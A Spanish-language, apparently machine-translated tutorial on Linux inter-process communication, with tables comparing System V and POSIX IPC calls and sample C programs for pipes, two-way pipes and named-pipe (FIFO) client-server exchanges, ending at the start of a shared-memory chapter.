Memoria compartida | shmctl () | Realiza operaciones de control para la memoria compartida. Pocas de las operaciones de control genéricas para la memoria compartida son eliminar el segmento de memoria compartida (IPC_RMID), recibir la información de la memoria compartida (IPC_STAT) y actualizar nuevos valores de la memoria compartida existente (IPC_SET). |
Colas de mensajes | msgget () | Crea una nueva cola de mensajes o accede a una cola de mensajes ya existente y obtiene el controlador o identificador para realizar operaciones con respecto a la cola de mensajes, como enviar mensajes a la cola y recibir mensajes desde la cola. |
Colas de mensajes | msgsnd () | Envía un mensaje a la cola de mensajes requerida con el número de identificación requerido. |
Colas de mensajes | msgrcv () | Recibe un mensaje de la cola de mensajes. De forma predeterminada, esta es una operación de espera infinita, lo que significa que la llamada se bloqueará hasta que reciba un mensaje. |
Colas de mensajes | msgctl () | Realiza operaciones de control para la cola de mensajes. Pocas de las operaciones de control genéricas para la cola de mensajes son eliminar la cola de mensajes (IPC_RMID), recibir la información de la cola de mensajes (IPC_STAT) y actualizar nuevos valores de la cola de mensajes existente (IPC_SET). |
Semáforos | semget () | Crea un nuevo semáforo u obtiene el identificador del semáforo existente. Los semáforos se utilizan para realizar la sincronización entre varios IPC que trabajan en el mismo objeto. |
Semáforos | semop () | Realiza operaciones de semáforo en valores de semáforo. Las operaciones básicas del semáforo son adquirir o liberar el bloqueo del semáforo. |
Semáforos | semctl () | Realiza operaciones de control para el semáforo. Pocas de las operaciones de control genéricas para el semáforo son eliminar el semáforo (IPC_RMID), recibir la información del semáforo (IPC_STAT) y actualizar nuevos valores del semáforo existente (IPC_SET). |
Señales | señal () | Configuración de la disposición de la señal (número de señal) y el manejador de señales. En otros términos, registrar la rutina, que se ejecuta cuando se genera esa señal. |
Señales | sigaction () | Igual que signal (), establece la disposición de la señal, es decir, realiza cierta acción según el manejador de señales registrado después de recibir la señal registrada. Esta llamada al sistema admite un control más preciso sobre la señal (), como bloquear ciertas señales, restaurar la acción de la señal al estado predeterminado después de llamar al manejador de la señal, proporcionar información como el tiempo consumido por el usuario y el sistema, la identificación del proceso de envío, etc. |
Mapeo de memoria | mmap () | Mapeo de archivos en la memoria. Una vez mapeados en la memoria, acceder a los archivos es tan fácil como acceder a los datos usando direcciones y también de esta manera, la llamada no es tan cara como las llamadas al sistema. |
Mapeo de memoria | munmap () | Desmapear los archivos mapeados de la memoria. |
La siguiente tabla enumera las diferencias entre System V IPC y POSIX IPC.
SISTEMA V | POSIX |
---|---|
AT&T introdujo (1983) tres nuevas formas de instalaciones de IPC, a saber, colas de mensajes, memoria compartida y semáforos. | Estándares de interfaz de sistema operativo portátil especificados por IEEE para definir la interfaz de programación de aplicaciones (API). POSIX cubre las tres formas de IPC |
SYSTEM V IPC cubre todos los mecanismos de IPC, a saber, conductos, conductos con nombre, colas de mensajes, señales, semáforos y memoria compartida. También cubre socket y sockets de dominio Unix. | Casi todos los conceptos básicos son los mismos que en el Sistema V. Solo difiere con la interfaz |
Llamadas de interfaz de memoria compartida shmget (), shmat (), shmdt (), shmctl () | Llamadas de interfaz de memoria compartida shm_open (), mmap (), shm_unlink () |
Llamadas de interfaz de cola de mensajes msgget (), msgsnd (), msgrcv (), msgctl () | Llamadas de interfaz de cola de mensajes mq_open (), mq_send (), mq_receive (), mq_unlink () |
Llamadas a la interfaz del semáforo semget (), semop (), semctl () | Llamadas de interfaz de semáforos Semáforos con nombre sem_open (), sem_close (), sem_unlink (), sem_post (), sem_wait (), sem_trywait (), sem_timedwait (), sem_getvalue () Semáforos sin nombre o basados en memoria sem_init (), sem_post (), sem_wait (), sem_getvalue (), sem_destroy () |
Utiliza claves e identificadores para identificar los objetos IPC. | Utiliza nombres y descriptores de archivos para identificar objetos IPC |
N / A | Las colas de mensajes POSIX se pueden monitorear usando las API select (), poll () y epoll |
Ofrece llamada a msgctl () | Proporciona funciones (mq_getattr () y mq_setattr ()) para acceder o establecer atributos 11. IPC - System V y POSIX |
N / A | Caja fuerte multihilo. Cubre funciones de sincronización de subprocesos como bloqueos mutex, variables condicionales, bloqueos de lectura y escritura, etc. |
N / A | Ofrece pocas funciones de notificación para colas de mensajes (como mq_notify ()) |
Requiere llamadas al sistema como shmctl (), comandos (ipcs, ipcrm) para realizar operaciones de estado / control. | Los objetos de memoria compartida se pueden examinar y manipular mediante llamadas al sistema como fstat (), fchmod () |
El tamaño de un segmento de memoria compartida de System V se fija en el momento de la creación (a través de shmget ()) | Podemos usar ftruncate () para ajustar el tamaño del objeto subyacente y luego volver a crear el mapeo usando munmap () y mmap () (o el mremap () específico de Linux) |
Pipe es un medio de comunicación entre dos o más procesos relacionados o interrelacionados. Puede ser dentro de un proceso o una comunicación entre los procesos hijo y padre. La comunicación también puede ser de varios niveles, como la comunicación entre el padre, el hijo y el nieto, etc. La comunicación se logra mediante un proceso de escritura en la tubería y otro proceso de lectura de la tubería. Para lograr la llamada al sistema de tuberías, cree dos archivos, uno para escribir en el archivo y otro para leer desde el archivo.
El mecanismo de la tubería se puede ver con un escenario en tiempo real, como llenar agua con la tubería en algún recipiente, digamos un balde, y alguien que lo recupere, digamos con una taza. El proceso de llenado no es más que escribir en la tubería y el proceso de lectura no es más que recuperar de la tubería. Esto implica que una salida (agua) es entrada para la otra (cubo).
#include<unistd.h>
int pipe(int pipedes[2]);
Esta llamada al sistema crearía una tubería para la comunicación unidireccional, es decir, crea dos descriptores, el primero está conectado para leer desde la tubería y el otro está conectado para escribir en la tubería.
Descriptor pipedes [0] es para lectura y pipedes [1] es para escritura. Todo lo que esté escrito en las canalizaciones [1] se puede leer desde las canalizaciones [0].
Esta llamada devolvería cero en caso de éxito y -1 en caso de error. Para conocer la causa de la falla, verifique con la variable errno o la función perror ().
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);
Aunque las operaciones básicas para el archivo son de lectura y escritura, es esencial abrir el archivo antes de realizar las operaciones y cerrar el archivo después de completar las operaciones requeridas. Por lo general, por defecto, se abren 3 descriptores para cada proceso, que se utilizan para entrada (entrada estándar - stdin), salida (salida estándar - stdout) y error (error estándar - stderr) con descriptores de archivo 0, 1 y 2 respectivamente.
Esta llamada al sistema devolvería un descriptor de archivo utilizado para operaciones de archivo adicionales de lectura / escritura / búsqueda (lseek). Por lo general, los descriptores de archivos comienzan desde 3 y aumentan en un número a medida que se abren los archivos.
Los argumentos que se pasan a la llamada al sistema abierto son nombre de ruta (ruta relativa o absoluta), banderas que mencionan el propósito de abrir el archivo (por ejemplo, abrir para lectura, O_RDONLY, escribir, O_WRONLY, leer y escribir, O_RDWR, para agregar al archivo existente O_APPEND, para crear un archivo, si no existe con O_CREAT y así sucesivamente) y el modo requerido que proporciona permisos de lectura / escritura / ejecución para el usuario o propietario / grupo / otros. El modo se puede mencionar con símbolos.
Leer - 4, Escribir - 2 y Ejecutar - 1.
Por ejemplo: valor octal (comienza con 0), 0764 implica que el propietario tiene permisos de lectura, escritura y ejecución, el grupo tiene permisos de lectura y escritura, otro tiene permisos de lectura. Esto también se puede representar como S_IRWXU | S_IRGRP | S_IWGRP | S_IROTH, que implica una operación de 0700 | 0040 | 0020 | 0004 → 0764.
Esta llamada al sistema, en caso de éxito, devuelve el nuevo identificador de descriptor de archivo y -1 en caso de error. La causa del error se puede identificar con la variable errno o la función perror ().
#include<unistd.h>
int close(int fd)
El cierre de la llamada al sistema anterior ya abrió el descriptor de archivo. Esto implica que el archivo ya no está en uso y los recursos asociados pueden ser reutilizados por cualquier otro proceso. Esta llamada al sistema devuelve cero en caso de éxito y -1 en caso de error. La causa del error se puede identificar con la variable errno o la función perror ().
#include<unistd.h>
ssize_t read(int fd, void *buf, size_t count)
La llamada al sistema anterior es para leer del archivo especificado con argumentos del descriptor de archivo fd, búfer adecuado con memoria asignada (estática o dinámica) y el tamaño del búfer.
La identificación del descriptor de archivo es para identificar el archivo respectivo, que se devuelve después de llamar al sistema open () o pipe (). El archivo debe abrirse antes de leerlo. Se abre automáticamente en caso de llamar al sistema pipe ().
Esta llamada devolvería el número de bytes leídos (o cero en caso de encontrar el final del archivo) en caso de éxito y -1 en caso de error. Los bytes de retorno pueden ser más pequeños que el número de bytes solicitados, en caso de que no haya datos disponibles o el archivo esté cerrado. Se establece el número de error adecuado en caso de falla.
Para conocer la causa de la falla, verifique con la variable errno o la función perror ().
#include<unistd.h>
ssize_t write(int fd, void *buf, size_t count)
La llamada al sistema anterior es para escribir en el archivo especificado con argumentos del descriptor de archivo fd, un búfer adecuado con memoria asignada (ya sea estática o dinámica) y el tamaño del búfer.
La identificación del descriptor de archivo es para identificar el archivo respectivo, que se devuelve después de llamar al sistema open () o pipe ().
El archivo debe abrirse antes de escribir en el archivo. Se abre automáticamente en caso de llamar al sistema pipe ().
Esta llamada devolvería el número de bytes escritos (o cero en caso de que no se escriba nada) en caso de éxito y -1 en caso de error. Se establece el número de error adecuado en caso de falla.
Para conocer la causa de la falla, verifique con la variable errno o la función perror ().
Programas de ejemplo
A continuación se muestran algunos programas de ejemplo.
Example program 1 - Programa para escribir y leer dos mensajes usando pipe.
Algoritmo
Step 1 - Crea una tubería.
Step 2 - Envía un mensaje a la tubería.
Step 3 - Recupere el mensaje de la tubería y escríbalo en la salida estándar.
Step 4 - Envía otro mensaje a la tubería.
Step 5 - Recupere el mensaje de la tubería y escríbalo en la salida estándar.
Note - La recuperación de mensajes también se puede realizar después de enviar todos los mensajes.
Source Code: simplepipe.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds[2];
int returnstatus;
char writemessages[2][20]={"Hi", "Hello"};
char readmessage[20];
returnstatus = pipe(pipefds);
if (returnstatus == -1) {
printf("Unable to create pipe\n");
return 1;
}
printf("Writing to pipe - Message 1 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Reading from pipe – Message 1 is %s\n", readmessage);
printf("Writing to pipe - Message 2 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[1], sizeof(writemessages[0]));
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Reading from pipe – Message 2 is %s\n", readmessage);
return 0;
}
Note- Idealmente, el estado de devolución debe comprobarse para cada llamada al sistema. Para simplificar el proceso, no se realizan comprobaciones para todas las llamadas.
Pasos de ejecución
Compilacion
gcc -o simplepipe simplepipe.c
Ejecución / Salida
Writing to pipe - Message 1 is Hi
Reading from pipe – Message 1 is Hi
Writing to pipe - Message 2 is Hi
Reading from pipe – Message 2 is Hell
Example program 2 - Programa para escribir y leer dos mensajes a través de la tubería utilizando los procesos padre e hijo.
Algoritmo
Step 1 - Crea una tubería.
Step 2 - Crear un proceso hijo.
Step 3 - El proceso padre escribe en la tubería.
Step 4 - El proceso hijo recupera el mensaje de la tubería y lo escribe en la salida estándar.
Step 5 - Repita el paso 3 y el paso 4 una vez más.
Source Code: pipewithprocesses.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds[2];
int returnstatus;
int pid;
char writemessages[2][20]={"Hi", "Hello"};
char readmessage[20];
returnstatus = pipe(pipefds);
if (returnstatus == -1) {
printf("Unable to create pipe\n");
return 1;
}
pid = fork();
// Child process
if (pid == 0) {
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Child Process - Reading from pipe – Message 1 is %s\n", readmessage);
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Child Process - Reading from pipe – Message 2 is %s\n", readmessage);
} else { //Parent process
printf("Parent Process - Writing to pipe - Message 1 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
printf("Parent Process - Writing to pipe - Message 2 is %s\n", writemessages[1]);
write(pipefds[1], writemessages[1], sizeof(writemessages[1]));
}
return 0;
}
Pasos de ejecución
Compilation
gcc pipewithprocesses.c –o pipewithprocesses
Execution
Parent Process - Writing to pipe - Message 1 is Hi
Parent Process - Writing to pipe - Message 2 is Hello
Child Process - Reading from pipe – Message 1 is Hi
Child Process - Reading from pipe – Message 2 is Hello
Comunicación bidireccional mediante tuberías
La comunicación de canalización se considera una comunicación unidireccional, es decir, el proceso padre escribe y el proceso hijo lee o viceversa, pero no ambos. Sin embargo, ¿qué pasa si tanto el padre como el niño necesitan escribir y leer en las tuberías simultáneamente? La solución es una comunicación bidireccional mediante tuberías. Se requieren dos conductos para establecer una comunicación bidireccional.
Los siguientes son los pasos para lograr una comunicación bidireccional:
Step 1- Crea dos tuberías. El primero es para que el padre escriba y el niño lea, digamos como pipe1. El segundo es para que el niño escriba y el padre lea, digamos como pipe2.
Step 2 - Crear un proceso hijo.
Step 3 - Cierre los extremos no deseados ya que solo se necesita un extremo para cada comunicación.
Step 4 - Cierre los extremos no deseados en el proceso principal, lea el final de la tubería1 y escriba el final de la tubería2.
Step 5 - Cierre los extremos no deseados en el proceso hijo, escriba end of pipe1 y lea end of pipe2.
Step 6 - Realice la comunicación según sea necesario.
Programas de muestra
Sample program 1 - Lograr una comunicación bidireccional mediante tuberías.
Algoritmo
Step 1 - Cree pipe1 para que el proceso padre escriba y el proceso hijo lea.
Step 2 - Cree pipe2 para que el proceso hijo escriba y el proceso padre lea.
Step 3 - Cierre los extremos no deseados de la tubería del lado del padre y del niño.
Step 4 - Proceso principal para escribir un mensaje y proceso secundario para leer y mostrar en la pantalla.
Step 5 - Proceso hijo para escribir un mensaje y proceso padre para leer y mostrar en la pantalla.
Source Code: twowayspipe.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds1[2], pipefds2[2];
int returnstatus1, returnstatus2;
int pid;
char pipe1writemessage[20] = "Hi";
char pipe2writemessage[20] = "Hello";
char readmessage[20];
returnstatus1 = pipe(pipefds1);
if (returnstatus1 == -1) {
printf("Unable to create pipe 1 \n");
return 1;
}
returnstatus2 = pipe(pipefds2);
if (returnstatus2 == -1) {
printf("Unable to create pipe 2 \n");
return 1;
}
pid = fork();
if (pid != 0) // Parent process {
close(pipefds1[0]); // Close the unwanted pipe1 read side
close(pipefds2[1]); // Close the unwanted pipe2 write side
printf("In Parent: Writing to pipe 1 – Message is %s\n", pipe1writemessage);
write(pipefds1[1], pipe1writemessage, sizeof(pipe1writemessage));
read(pipefds2[0], readmessage, sizeof(readmessage));
printf("In Parent: Reading from pipe 2 – Message is %s\n", readmessage);
} else { //child process
close(pipefds1[1]); // Close the unwanted pipe1 write side
close(pipefds2[0]); // Close the unwanted pipe2 read side
read(pipefds1[0], readmessage, sizeof(readmessage));
printf("In Child: Reading from pipe 1 – Message is %s\n", readmessage);
printf("In Child: Writing to pipe 2 – Message is %s\n", pipe2writemessage);
write(pipefds2[1], pipe2writemessage, sizeof(pipe2writemessage));
}
return 0;
}
Pasos de ejecución
Compilacion
gcc twowayspipe.c –o twowayspipe
Ejecución
In Parent: Writing to pipe 1 – Message is Hi
In Child: Reading from pipe 1 – Message is Hi
In Child: Writing to pipe 2 – Message is Hello
In Parent: Reading from pipe 2 – Message is Hello
Las tuberías estaban destinadas a la comunicación entre procesos relacionados. ¿Podemos usar tuberías para la comunicación de procesos no relacionados, digamos, queremos ejecutar el programa cliente desde una terminal y el programa servidor desde otra terminal? La respuesta es No. Entonces, ¿cómo podemos lograr la comunicación de procesos no relacionados? La respuesta simple es Named Pipes. Aunque esto funciona para procesos relacionados, no tiene sentido utilizar las canalizaciones con nombre para la comunicación de procesos relacionados.
Usamos una tubería para la comunicación unidireccional y dos tuberías para la comunicación bidireccional. ¿Se aplica la misma condición a las canalizaciones con nombre? La respuesta es no, podemos usar una tubería con nombre único que se puede usar para la comunicación bidireccional (comunicación entre el servidor y el cliente, más el cliente y el servidor al mismo tiempo) ya que la tubería con nombre admite la comunicación bidireccional.
Otro nombre para tubería con nombre es FIFO (First-In-First-Out). Veamos la llamada al sistema (mknod ()) para crear una tubería con nombre, que es una especie de archivo especial.
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
int mknod(const char *pathname, mode_t mode, dev_t dev);
Esta llamada al sistema crearía un archivo especial o un nodo del sistema de archivos, como un archivo normal, un archivo de dispositivo o FIFO. Los argumentos para la llamada al sistema son nombre de ruta, modo y dev. El nombre de la ruta junto con los atributos del modo y la información del dispositivo. El nombre de la ruta es relativo, si no se especifica el directorio, se creará en el directorio actual. El modo especificado es el modo de archivo que especifica el tipo de archivo, como el tipo de archivo y el modo de archivo como se menciona en las siguientes tablas. El campo dev es para especificar información del dispositivo, como números de dispositivo mayores y menores.
Tipo de archivo | Descripción | Tipo de archivo | Descripción |
---|---|---|---|
S_IFBLK | bloque especial | S_IFREG | Archivo regular |
S_IFCHR | personaje especial | S_IFDIR | Directorio |
S_IFIFO | FIFO especial | S_IFLNK | Enlace simbólico |
Modo de archivo | Descripción | Modo de archivo | Descripción |
---|---|---|---|
S_IRWXU | Leer, escribir, ejecutar / buscar por propietario | S_IWGRP | Permiso de escritura, grupo |
S_IRUSR | Leer permiso, propietario | S_IXGRP | Permiso de ejecución / búsqueda, grupo |
S_IWUSR | Permiso de escritura, propietario | S_IRWXO | Leer, escribir, ejecutar / buscar por otros |
S_IXUSR | Permiso de ejecución / búsqueda, propietario | S_IROTH | Leer permiso, otros |
S_IRWXG | Leer, escribir, ejecutar / buscar por grupo | S_IWOTH | Permiso de escritura, otros |
S_IRGRP | Leer permiso, grupo | S_IXOTH | Permiso de ejecución / búsqueda, otros |
El modo de archivo también se puede representar en notación octal como 0XYZ, donde X representa al propietario, Y representa al grupo y Z representa a otros. El valor de X, Y o Z puede oscilar entre 0 y 7. Los valores de lectura, escritura y ejecución son 4, 2, 1 respectivamente. Si es necesario en combinación de lectura, escritura y ejecución, agregue los valores en consecuencia.
Digamos, si mencionamos, 0640, entonces esto significa leer y escribir (4 + 2 = 6) para el propietario, leer (4) para el grupo y sin permisos (0) para los demás.
Esta llamada devolvería cero en caso de éxito y -1 en caso de error. Para conocer la causa de la falla, verifique con la variable errno o la función perror ().
#include <sys/types.h>
#include <sys/stat.h>
int mkfifo(const char *pathname, mode_t mode)
Esta función de biblioteca crea un archivo especial FIFO, que se utiliza para la tubería con nombre. Los argumentos de esta función son el nombre del archivo y el modo. El nombre del archivo puede ser una ruta absoluta o una ruta relativa. Si no se proporciona el nombre completo de la ruta (o ruta absoluta), el archivo se creará en la carpeta actual del proceso en ejecución. La información del modo de archivo es como se describe en la llamada al sistema mknod ().
Esta llamada devolvería cero en caso de éxito y -1 en caso de error. Para conocer la causa de la falla, verifique con la variable errno o la función perror ().
Consideremos un programa para ejecutar el servidor en un terminal y ejecutar el cliente en otro terminal. El programa solo realizaría comunicación unidireccional. El cliente acepta la entrada del usuario y envía el mensaje al servidor, el servidor imprime el mensaje en la salida. El proceso continúa hasta que el usuario ingresa la cadena "fin".
Entendamos esto con un ejemplo:
Step 1 - Crea dos procesos, uno es Fifoserver y otro es Fifoclient.
Step 2 - El proceso del servidor realiza lo siguiente -
Crea una tubería con nombre (usando la llamada al sistema mknod ()) con el nombre "MYFIFO", si no se creó.
Abre la tubería con nombre para fines de solo lectura.
Aquí, creó FIFO con permisos de lectura y escritura para el propietario. Leer para el grupo y sin permisos para otros.
Espera infinitamente el mensaje del Cliente.
Si el mensaje recibido del cliente no es “fin”, imprime el mensaje. Si el mensaje es “fin”, cierra el quince y finaliza el proceso.
Step 3 - El proceso del cliente realiza lo siguiente -
Abre la tubería con nombre solo con fines de escritura.
Acepta la cadena del usuario.
Comprueba si el usuario ingresa "fin" u otro que no sea "fin". De cualquier manera, envía un mensaje al servidor. Sin embargo, si la cadena es "fin", esto cierra el FIFO y también finaliza el proceso.
Se repite infinitamente hasta que el usuario ingresa la cadena "fin".
Ahora echemos un vistazo al archivo del servidor FIFO.
/* Filename: fifoserver.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "MYFIFO"
int main() {
int fd;
char readbuf[80];
char end[10];
int to_end;
int read_bytes;
/* Create the FIFO if it does not exist */
mknod(FIFO_FILE, S_IFIFO|0640, 0);
strcpy(end, "end");
while(1) {
fd = open(FIFO_FILE, O_RDONLY);
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
to_end = strcmp(readbuf, end);
if (to_end == 0) {
close(fd);
break;
}
}
return 0;
}
Pasos de compilación y ejecución
Received string: "this is string 1" and length is 16
Received string: "fifo test" and length is 9
Received string: "fifo client and server" and length is 22
Received string: "end" and length is 3
Ahora, echemos un vistazo al código de muestra del cliente FIFO.
/* Filename: fifoclient.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "MYFIFO"
int main() {
int fd;
int end_process;
int stringlen;
char readbuf[80];
char end_str[5];
printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
fd = open(FIFO_FILE, O_CREAT|O_WRONLY);
strcpy(end_str, "end");
while (1) {
printf("Enter string: ");
fgets(readbuf, sizeof(readbuf), stdin);
stringlen = strlen(readbuf);
readbuf[stringlen - 1] = '\0';
end_process = strcmp(readbuf, end_str);
//printf("end_process is %d\n", end_process);
if (end_process != 0) {
write(fd, readbuf, strlen(readbuf));
printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
} else {
write(fd, readbuf, strlen(readbuf));
printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
close(fd);
break;
}
}
return 0;
}
Tomemos una en la salida que llega.
Pasos de compilación y ejecución
FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: this is string 1
Sent string: "this is string 1" and string length is 16
Enter string: fifo test
Sent string: "fifo test" and string length is 9
Enter string: fifo client and server
Sent string: "fifo client and server" and string length is 22
Enter string: end
Sent string: "end" and string length is 3
Comunicación bidireccional mediante canalizaciones con nombre
La comunicación entre tuberías debe ser unidireccional. Las tuberías estaban restringidas a la comunicación unidireccional en general y necesitan al menos dos tuberías para la comunicación bidireccional. Las tuberías están diseñadas solo para procesos interrelacionados. Las tuberías no se pueden utilizar para la comunicación de procesos no relacionados, por ejemplo, si queremos ejecutar un proceso desde una terminal y otro proceso desde otra terminal, no es posible con las tuberías. ¿Tenemos alguna forma sencilla de comunicarnos entre dos procesos, digamos procesos no relacionados de forma sencilla? La respuesta es sí. La tubería con nombre está destinada a la comunicación entre dos o más procesos no relacionados y también puede tener comunicación bidireccional.
Ya hemos visto la comunicación unidireccional entre canalizaciones con nombre, es decir, los mensajes del cliente al servidor. Ahora, echemos un vistazo a la comunicación bidireccional, es decir, el cliente envía un mensaje al servidor y el servidor recibe el mensaje y devuelve otro mensaje al cliente utilizando el mismo canal con nombre.
A continuación se muestra un ejemplo:
Step 1 - Cree dos procesos, uno es Fifoserver_twoway y otro es Fifoclient_twoway.
Step 2 - El proceso del servidor realiza lo siguiente -
Crea una tubería con nombre (usando la función de biblioteca mkfifo ()) con el nombre "FIFo_twoway" en el directorio / tmp, si no se creó.
Abre la canalización con nombre para fines de lectura y escritura.
Aquí, creó FIFO con permisos de lectura y escritura para el propietario. Leer para el grupo y sin permisos para otros.
Espera infinitamente un mensaje del cliente.
Si el mensaje recibido del cliente no es “fin”, imprime el mensaje e invierte la cadena. La cadena invertida se envía de vuelta al cliente. Si el mensaje es “fin”, cierra el quince y finaliza el proceso.
Step 3 - El proceso del cliente realiza lo siguiente -
Abre la canalización con nombre para fines de lectura y escritura.
Acepta cadena del usuario.
Comprueba si el usuario ingresa "fin" u otro que no sea "fin". De cualquier manera, envía un mensaje al servidor. Sin embargo, si la cadena es "fin", esto cierra el FIFO y también finaliza el proceso.
Si el mensaje se envía como no "final", espera el mensaje (cadena invertida) del cliente e imprime la cadena invertida.
Se repite infinitamente hasta que el usuario ingresa la cadena "fin".
Ahora, echemos un vistazo al código de muestra del servidor FIFO.
/* Filename: fifoserver_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "/tmp/fifo_twoway"
void reverse_string(char *);
int main() {
int fd;
char readbuf[80];
char end[10];
int to_end;
int read_bytes;
/* Create the FIFO if it does not exist */
mkfifo(FIFO_FILE, S_IFIFO|0640);
strcpy(end, "end");
fd = open(FIFO_FILE, O_RDWR);
while(1) {
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("FIFOSERVER: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
to_end = strcmp(readbuf, end);
if (to_end == 0) {
close(fd);
break;
}
reverse_string(readbuf);
printf("FIFOSERVER: Sending Reversed String: \"%s\" and length is %d\n", readbuf, (int) strlen(readbuf));
write(fd, readbuf, strlen(readbuf));
/*
sleep - This is to make sure other process reads this, otherwise this
process would retrieve the message
*/
sleep(2);
}
return 0;
}
void reverse_string(char *str) {
int last, limit, first;
char temp;
last = strlen(str) - 1;
limit = last/2;
first = 0;
while (first < last) {
temp = str[first];
str[first] = str[last];
str[last] = temp;
first++;
last--;
}
return;
}
Pasos de compilación y ejecución
FIFOSERVER: Received string: "LINUX IPCs" and length is 10
FIFOSERVER: Sending Reversed String: "sCPI XUNIL" and length is 10
FIFOSERVER: Received string: "Inter Process Communication" and length is 27
FIFOSERVER: Sending Reversed String: "noitacinummoC ssecorP retnI" and length is 27
FIFOSERVER: Received string: "end" and length is 3
Ahora, echemos un vistazo al código de muestra del cliente FIFO.
/* Filename: fifoclient_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "/tmp/fifo_twoway"
int main() {
int fd;
int end_process;
int stringlen;
int read_bytes;
char readbuf[80];
char end_str[5];
printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
fd = open(FIFO_FILE, O_CREAT|O_RDWR);
strcpy(end_str, "end");
while (1) {
printf("Enter string: ");
fgets(readbuf, sizeof(readbuf), stdin);
stringlen = strlen(readbuf);
readbuf[stringlen - 1] = '\0';
end_process = strcmp(readbuf, end_str);
//printf("end_process is %d\n", end_process);
if (end_process != 0) {
write(fd, readbuf, strlen(readbuf));
printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("FIFOCLIENT: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
} else {
write(fd, readbuf, strlen(readbuf));
printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
close(fd);
break;
}
}
return 0;
}
Pasos de compilación y ejecución
FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: LINUX IPCs
FIFOCLIENT: Sent string: "LINUX IPCs" and string length is 10
FIFOCLIENT: Received string: "sCPI XUNIL" and length is 10
Enter string: Inter Process Communication
FIFOCLIENT: Sent string: "Inter Process Communication" and string length is 27
FIFOCLIENT: Received string: "noitacinummoC ssecorP retnI" and length is 27
Enter string: end
FIFOCLIENT: Sent string: "end" and string length is 3
La memoria compartida es una memoria compartida entre dos o más procesos. Sin embargo, ¿por qué necesitamos compartir la memoria o algún otro medio de comunicación?
Para reiterar, cada proceso tiene su propio espacio de direcciones, si algún proceso quiere comunicarse con alguna información de su propio espacio de direcciones a otros procesos, entonces solo es posible con técnicas de IPC (comunicación entre procesos). Como ya sabemos, la comunicación puede ser entre procesos relacionados o no relacionados.
Por lo general, la comunicación de procesos interrelacionados se realiza mediante tuberías o tuberías con nombre. La comunicación de procesos no relacionados (por ejemplo, un proceso que se ejecuta en un terminal y otro proceso en otro terminal) se puede realizar mediante canalizaciones con nombre o mediante técnicas populares de IPC de memoria compartida y colas de mensajes.
Hemos visto las técnicas de IPC de tuberías y tuberías con nombre y ahora es el momento de conocer las técnicas de IPC restantes, a saber, memoria compartida, colas de mensajes, semáforos, señales y mapeo de memoria.
En este capítulo, lo sabremos todo sobre la memoria compartida.
Sabemos que para comunicarnos entre dos o más procesos, usamos la memoria compartida, pero antes de usar la memoria compartida, lo que hay que hacer con las llamadas al sistema, veamos esto:
Cree el segmento de memoria compartida o use un segmento de memoria compartida ya creado (shmget ())
Adjunte el proceso al segmento de memoria compartida ya creado (shmat ())
Separar el proceso del segmento de memoria compartida ya adjunto (shmdt ())
Operaciones de control en el segmento de memoria compartida (shmctl ())
Veamos algunos detalles de las llamadas al sistema relacionadas con la memoria compartida.
#include <sys/ipc.h>
#include <sys/shm.h>
int shmget(key_t key, size_t size, int shmflg)
La llamada al sistema anterior crea o asigna un segmento de memoria compartida de System V. Los argumentos que deben pasarse son los siguientes:
los first argument, key,reconoce el segmento de memoria compartida. La clave puede ser un valor arbitrario o uno que se pueda derivar de la función de biblioteca ftok (). La clave también puede ser IPC_PRIVATE, es decir, ejecutar procesos como servidor y cliente (relación padre e hijo), es decir, comunicación de procesos interrelacionados. Si el cliente desea usar memoria compartida con esta clave, entonces debe ser un proceso hijo del servidor. Además, el proceso hijo debe crearse después de que el padre haya obtenido una memoria compartida.
los second argument, size, es el tamaño del segmento de memoria compartida redondeado a un múltiplo de PAGE_SIZE.
los third argument, shmflg,especifica los indicadores de memoria compartida necesarios, como IPC_CREAT (creación de un nuevo segmento) o IPC_EXCL (se utiliza con IPC_CREAT para crear un nuevo segmento y la llamada falla, si el segmento ya existe). También es necesario aprobar los permisos.
Note - Consulte las secciones anteriores para obtener detalles sobre los permisos.
